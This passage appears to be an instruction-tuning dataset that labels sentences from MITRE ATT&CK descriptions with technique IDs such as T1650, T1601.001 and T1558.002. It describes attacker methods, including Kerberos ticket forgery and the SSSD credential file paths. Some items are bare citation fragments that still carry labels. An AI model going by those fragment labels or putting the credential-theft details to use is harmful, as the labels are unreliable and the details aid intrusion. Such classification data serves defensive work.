custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). ### Response: T1223."}{"instruction": "List the MITRE techniques contained in the text.", "input": "CHM execution may also bypass application whitelisting on older and/or unpatched systems that do not account for execution of binaries through hh.exe.", "output": "T1223", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: CHM execution may also bypass application whitelisting on older and/or unpatched systems that do not account for execution of binaries through hh.exe. ### Response: T1223."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)", "output": "T1223", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017) ### Response: T1223."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may purchase or otherwise acquire an existing access to a target system or network.", "output": "T1650", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may purchase or otherwise acquire an existing access to a target system or network. ### Response: T1650."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A variety of online services and initial access broker networks are available to sell access to previously compromised systems.(Citation: Microsoft Ransomware as a Service)(Citation: CrowdStrike Access Brokers)(Citation: Krebs Access Brokers Fortune 500)", "output": "T1650", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A variety of online services and initial access broker networks are available to sell access to previously compromised systems.(Citation: Microsoft Ransomware as a Service)(Citation: CrowdStrike Access Brokers)(Citation: Krebs Access Brokers Fortune 500) ### Response: T1650."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some cases, adversary groups may form partnerships to share compromised systems with each other.(Citation: CISA Karakurt 2022)\n\nFootholds to compromised systems may take a variety of forms, such as access to planted backdoors (e.g., [Web Shell](https://attack.mitre.org/techniques/T1505/003)) or established access via [External Remote Services](https://attack.mitre.org/techniques/T1133).", "output": "T1650", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some cases, adversary groups may form partnerships to share compromised systems with each other.(Citation: CISA Karakurt 2022)\n\nFootholds to compromised systems may take a variety of forms, such as access to planted backdoors (e.g., [Web Shell](https://attack.mitre.org/techniques/T1505/003)) or established access via [External Remote Services](https://attack.mitre.org/techniques/T1133). ### Response: T1650."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some cases, access brokers will implant compromised systems with a \u201cload\u201d that can be used to install additional malware for paying customers.(Citation: Microsoft Ransomware as a Service)", "output": "T1650", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some cases, access brokers will implant compromised systems with a \u201cload\u201d that can be used to install additional malware for paying customers.(Citation: Microsoft Ransomware as a Service) ### Response: T1650."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By leveraging existing access broker networks rather than developing or obtaining their own initial access capabilities, an adversary can potentially reduce the resources required to gain a foothold on a target network and focus their efforts on later stages of compromise.", "output": "T1650", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By leveraging existing access broker networks rather than developing or obtaining their own initial access capabilities, an adversary can potentially reduce the resources required to gain a foothold on a target network and focus their efforts on later stages of compromise. ### Response: T1650."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may prioritize acquiring access to systems that have been determined to lack security monitoring or that have high privileges, or systems that belong to organizations in a particular sector.(Citation:", "output": "T1650", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may prioritize acquiring access to systems that have been determined to lack security monitoring or that have high privileges, or systems that belong to organizations in a particular sector.(Citation: ### Response: T1650."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Ransomware as a Service)(Citation: CrowdStrike Access Brokers)", "output": "T1650", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Ransomware as a Service)(Citation: CrowdStrike Access Brokers) ### Response: T1650."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some cases, purchasing access to an organization in sectors such as IT contracting, software development, or telecommunications may allow an adversary to compromise additional victims via a [Trusted Relationship](https://attack.mitre.org/techniques/T1199),", "output": "T1650", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some cases, purchasing access to an organization in sectors such as IT contracting, software development, or telecommunications may allow an adversary to compromise additional victims via a [Trusted Relationship](https://attack.mitre.org/techniques/T1199), ### Response: T1650."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Multi-Factor Authentication Interception](https://attack.mitre.org/techniques/T1111), or even [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195).", "output": "T1650", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Multi-Factor Authentication Interception](https://attack.mitre.org/techniques/T1111), or even [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195). ### Response: T1650."}{"instruction": "List the MITRE techniques contained in the text.", "input": "**Note:** while this technique is distinct from other behaviors such as [Purchase Technical Data](https://attack.mitre.org/techniques/T1597/002) and [Credentials](https://attack.mitre.org/techniques/T1589/001), they may often be used in conjunction (especially where the acquired foothold requires [Valid Accounts](https://attack.mitre.org/techniques/T1078)).", "output": "T1650", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: **Note:** while this technique is distinct from other behaviors such as [Purchase Technical Data](https://attack.mitre.org/techniques/T1597/002) and [Credentials](https://attack.mitre.org/techniques/T1589/001), they may often be used in conjunction (especially where the acquired foothold requires [Valid Accounts](https://attack.mitre.org/techniques/T1078)). ### Response: T1650."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may make changes to the operating system of embedded network devices to weaken defenses and provide new capabilities for themselves.", "output": "T1601", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may make changes to the operating system of embedded network devices to weaken defenses and provide new capabilities for themselves. ### Response: T1601."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On such devices, the operating systems are typically monolithic and most of the device functionality and capabilities are contained within a single file.", "output": "T1601", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On such devices, the operating systems are typically monolithic and most of the device functionality and capabilities are contained within a single file. ### Response: T1601."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To change the operating system, the adversary typically only needs to affect this one file, replacing or modifying it.", "output": "T1601", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To change the operating system, the adversary typically only needs to affect this one file, replacing or modifying it. ### Response: T1601."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can either be done live in memory during system runtime for immediate effect, or in storage to implement the change on the next boot of the network device.", "output": "T1601", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can either be done live in memory during system runtime for immediate effect, or in storage to implement the change on the next boot of the network device. ### Response: T1601."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify the operating system of a network device to introduce new capabilities or weaken existing defenses.(Citation: Killing the myth of Cisco IOS rootkits)", "output": "T1601.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify the operating system of a network device to introduce new capabilities or weaken existing defenses.(Citation: Killing the myth of Cisco IOS rootkits) ### Response: T1601.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Killing IOS diversity myth) (Citation: Cisco IOS Shellcode) (Citation: Cisco IOS Forensics Developments) (Citation: Juniper Netscreen of the Dead) Some network devices are built with a monolithic architecture, where the entire operating system and most of the functionality of the device is contained within a single file.", "output": "T1601.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Killing IOS diversity myth) (Citation: Cisco IOS Shellcode) (Citation: Cisco IOS Forensics Developments) (Citation: Juniper Netscreen of the Dead) Some network devices are built with a monolithic architecture, where the entire operating system and most of the functionality of the device is contained within a single file. ### Response: T1601.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may change this file in storage, to be loaded in a future boot, or in memory during runtime.", "output": "T1601.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may change this file in storage, to be loaded in a future boot, or in memory during runtime. ### Response: T1601.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To change the operating system in storage, the adversary will typically use the standard procedures available to device operators.", "output": "T1601.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To change the operating system in storage, the adversary will typically use the standard procedures available to device operators. ### Response: T1601.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may involve downloading a new file via typical protocols used on network devices, such as TFTP, FTP, SCP, or a console connection.", "output": "T1601.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may involve downloading a new file via typical protocols used on network devices, such as TFTP, FTP, SCP, or a console connection. ### Response: T1601.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The original file may be overwritten, or a new file may be written alongside of it and the device reconfigured to boot to the compromised image.", "output": "T1601.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The original file may be overwritten, or a new file may be written alongside of it and the device reconfigured to boot to the compromised image. ### Response: T1601.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To change the operating system in memory, the adversary typically can use one of two methods.", "output": "T1601.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To change the operating system in memory, the adversary typically can use one of two methods. ### Response: T1601.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In the first, the adversary would make use of native debug commands in the original, unaltered running operating system that allow them to directly modify the relevant memory addresses containing the running operating system.", "output": "T1601.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In the first, the adversary would make use of native debug commands in the original, unaltered running operating system that allow them to directly modify the relevant memory addresses containing the running operating system. ### Response: T1601.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This method typically requires administrative level access to the device.", "output": "T1601.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This method typically requires administrative level access to the device. ### Response: T1601.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In the second method for changing the operating system in memory, the adversary would make use of the boot loader.", "output": "T1601.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In the second method for changing the operating system in memory, the adversary would make use of the boot loader. ### Response: T1601.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The boot loader is the first piece of software that loads when the device starts that, in turn, will launch the operating system.", "output": "T1601.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The boot loader is the first piece of software that loads when the device starts that, in turn, will launch the operating system. ### Response: T1601.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use malicious code previously implanted in the boot loader, such as through the [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) method, to directly manipulate running operating system code in memory.", "output": "T1601.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use malicious code previously implanted in the boot loader, such as through the [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) method, to directly manipulate running operating system code in memory. ### Response: T1601.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This malicious code in the bootloader provides the capability of direct memory manipulation to the adversary, allowing them to patch the live operating system during runtime.", "output": "T1601.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This malicious code in the bootloader provides the capability of direct memory manipulation to the adversary, allowing them to patch the live operating system during runtime. ### Response: T1601.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By modifying the instructions stored in the system image file, adversaries may either weaken existing defenses or provision new capabilities that the device did not have before.", "output": "T1601.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By modifying the instructions stored in the system image file, adversaries may either weaken existing defenses or provision new capabilities that the device did not have before. ### Response: T1601.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Examples of existing defenses that can be impeded include encryption, via [Weaken Encryption](https://attack.mitre.org/techniques/T1600), authentication, via [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004), and perimeter defenses, via [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599).", "output": "T1601.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Examples of existing defenses that can be impeded include encryption, via [Weaken Encryption](https://attack.mitre.org/techniques/T1600), authentication, via [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004), and perimeter defenses, via [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599). ### Response: T1601.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adding new capabilities for the adversary\u2019s purpose include [Keylogging](https://attack.mitre.org/techniques/T1056/001),", "output": "T1601.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adding new capabilities for the adversary\u2019s purpose include [Keylogging](https://attack.mitre.org/techniques/T1056/001), ### Response: T1601.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003), and [Port Knocking](https://attack.mitre.org/techniques/T1205/001).", "output": "T1601.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003), and [Port Knocking](https://attack.mitre.org/techniques/T1205/001). ### Response: T1601.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also compromise existing commands in the operating system to produce false output to mislead defenders.", "output": "T1601.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also compromise existing commands in the operating system to produce false output to mislead defenders. ### Response: T1601.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When this method is used in conjunction with [Downgrade System Image](https://attack.mitre.org/techniques/T1601/002), one example of a compromised system command may include changing the output of the command that shows the version of the currently running operating system.", "output": "T1601.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When this method is used in conjunction with [Downgrade System Image](https://attack.mitre.org/techniques/T1601/002), one example of a compromised system command may include changing the output of the command that shows the version of the currently running operating system. ### Response: T1601.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By patching the operating system, the adversary can change this command to instead display the original, higher revision number that they replaced through the system downgrade.", "output": "T1601.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By patching the operating system, the adversary can change this command to instead display the original, higher revision number that they replaced through the system downgrade. ### Response: T1601.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When the operating system is patched in storage, this can be achieved in either the resident storage (typically a form of flash memory, which is non-volatile) or via [TFTP Boot](https://attack.mitre.org/techniques/T1542/005).", "output": "T1601.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When the operating system is patched in storage, this can be achieved in either the resident storage (typically a form of flash memory, which is non-volatile) or via [TFTP Boot](https://attack.mitre.org/techniques/T1542/005). ### Response: T1601.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When the technique is performed on the running operating system in memory and not on the stored copy, this technique will not survive across reboots.", "output": "T1601.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When the technique is performed on the running operating system in memory and not on the stored copy, this technique will not survive across reboots. ### Response: T1601.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "However, live memory modification of the operating system can be combined with [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) to achieve persistence.", "output": "T1601.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, live memory modification of the operating system can be combined with [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) to achieve persistence. ### Response: T1601.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003).", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kerberos is an authentication protocol widely used in modern Windows domain environments.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kerberos is an authentication protocol widely used in modern Windows domain environments. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In Kerberos environments, referred to as \u201crealms\u201d, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder)", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In Kerberos environments, referred to as \u201crealms\u201d, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The KDC is responsible for both authentication and ticket granting.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The KDC is responsible for both authentication and ticket granting. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Windows, the built-in <code>klist</code> utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist)\n\nLinux systems on Active Directory domains store Kerberos credentials locally in the credential cache file referred to as the \"ccache\".", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Windows, the built-in <code>klist</code> utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist)\n\nLinux systems on Active Directory domains store Kerberos credentials locally in the credential cache file referred to as the \"ccache\". ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The credentials are stored in the ccache file while they remain valid and generally while a user's session lasts.(Citation: MIT ccache)", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The credentials are stored in the ccache file while they remain valid and generally while a user's session lasts.(Citation: MIT ccache) ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On modern Redhat Enterprise Linux systems, and derivative distributions, the System Security Services Daemon (SSSD) handles Kerberos tickets.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On modern Redhat Enterprise Linux systems, and derivative distributions, the System Security Services Daemon (SSSD) handles Kerberos tickets. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By default SSSD maintains a copy of the ticket database that can be found in <code>/var/lib/sss/secrets/secrets.ldb</code> as well as the corresponding key located in <code>/var/lib/sss/secrets/.secrets.mkey</code>.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By default SSSD maintains a copy of the ticket database that can be found in <code>/var/lib/sss/secrets/secrets.ldb</code> as well as the corresponding key located in <code>/var/lib/sss/secrets/.secrets.mkey</code>. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Both files require root access to read.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Both files require root access to read. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If an adversary is able to access the database and key, the credential cache Kerberos blob can be extracted and converted into a usable Kerberos ccache file that adversaries may use for [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003).", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If an adversary is able to access the database and key, the credential cache Kerberos blob can be extracted and converted into a usable Kerberos ccache file that adversaries may use for [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The ccache file may also be converted into a Windows format using tools such as Kekeo.(Citation:", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The ccache file may also be converted into a Windows format using tools such as Kekeo.(Citation: ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Linux Kerberos Tickets)(Citation: Brining MimiKatz to Unix)(Citation: Kekeo)", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Linux Kerberos Tickets)(Citation: Brining MimiKatz to Unix)(Citation: Kekeo) ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kerberos tickets on macOS are stored in a standard ccache format, similar to Linux.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kerberos tickets on macOS are stored in a standard ccache format, similar to Linux. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By default, access to these ccache entries is federated through the KCM daemon process via the Mach RPC protocol, which uses the caller's environment to determine access.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By default, access to these ccache entries is federated through the KCM daemon process via the Mach RPC protocol, which uses the caller's environment to determine access. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The storage location for these ccache entries is influenced by the <code>/etc/krb5.conf</code> configuration file and the <code>KRB5CCNAME</code> environment variable which can specify to save them to disk or keep them protected via the KCM daemon.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The storage location for these ccache entries is influenced by the <code>/etc/krb5.conf</code> configuration file and the <code>KRB5CCNAME</code> environment variable which can specify to save them to disk or keep them protected via the KCM daemon. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Users can interact with ticket storage using <code>kinit</code>, <code>klist</code>, <code>ktutil</code>, and <code>kcc</code> built-in binaries or via Apple's native Kerberos framework.", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Users can interact with ticket storage using <code>kinit</code>, <code>klist</code>, <code>ktutil</code>, and <code>kcc</code> built-in binaries or via Apple's native Kerberos framework. ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use open source tools to interact with the ccache files directly or to use the Kerberos framework to call lower-level APIs for extracting the user's TGT or Service Tickets.(Citation:", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use open source tools to interact with the ccache files directly or to use the Kerberos framework to call lower-level APIs for extracting the user's TGT or Service Tickets.(Citation: ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SpectorOps Bifrost Kerberos macOS 2019)(Citation: macOS kerberos framework MIT)", "output": "T1558", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SpectorOps Bifrost Kerberos macOS 2019)(Citation: macOS kerberos framework MIT) ### Response: T1558."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets.", "output": "T1558.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets. ### Response: T1558.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kerberos TGS tickets are also known as service tickets.(Citation: ADSecurity Silver Tickets)\n\nSilver tickets are more limited in scope in than golden tickets in that they only enable adversaries to access a particular resource (e.g. MSSQL) and the system that hosts the resource; however, unlike golden tickets, adversaries with the ability to forge silver tickets are able to create TGS tickets without interacting with the Key Distribution Center (KDC), potentially making detection more difficult.(Citation: ADSecurity Detecting Forged Tickets)\n\nPassword hashes for target services may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).", "output": "T1558.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kerberos TGS tickets are also known as service tickets.(Citation: ADSecurity Silver Tickets)\n\nSilver tickets are more limited in scope in than golden tickets in that they only enable adversaries to access a particular resource (e.g. MSSQL) and the system that hosts the resource; however, unlike golden tickets, adversaries with the ability to forge silver tickets are able to create TGS tickets without interacting with the Key Distribution Center (KDC), potentially making detection more difficult.(Citation: ADSecurity Detecting Forged Tickets)\n\nPassword hashes for target services may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003). ### Response: T1558.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may leverage code repositories to collect valuable information.", "output": "T1213.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may leverage code repositories to collect valuable information. ### Response: T1213.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Code repositories are tools/services that store source code and automate software builds.", "output": "T1213.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Code repositories are tools/services that store source code and automate software builds. ### Response: T1213.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They may be hosted internally or privately on third party sites such as Github, GitLab, SourceForge, and BitBucket.", "output": "T1213.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They may be hosted internally or privately on third party sites such as Github, GitLab, SourceForge, and BitBucket. ### Response: T1213.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Users typically interact with code repositories 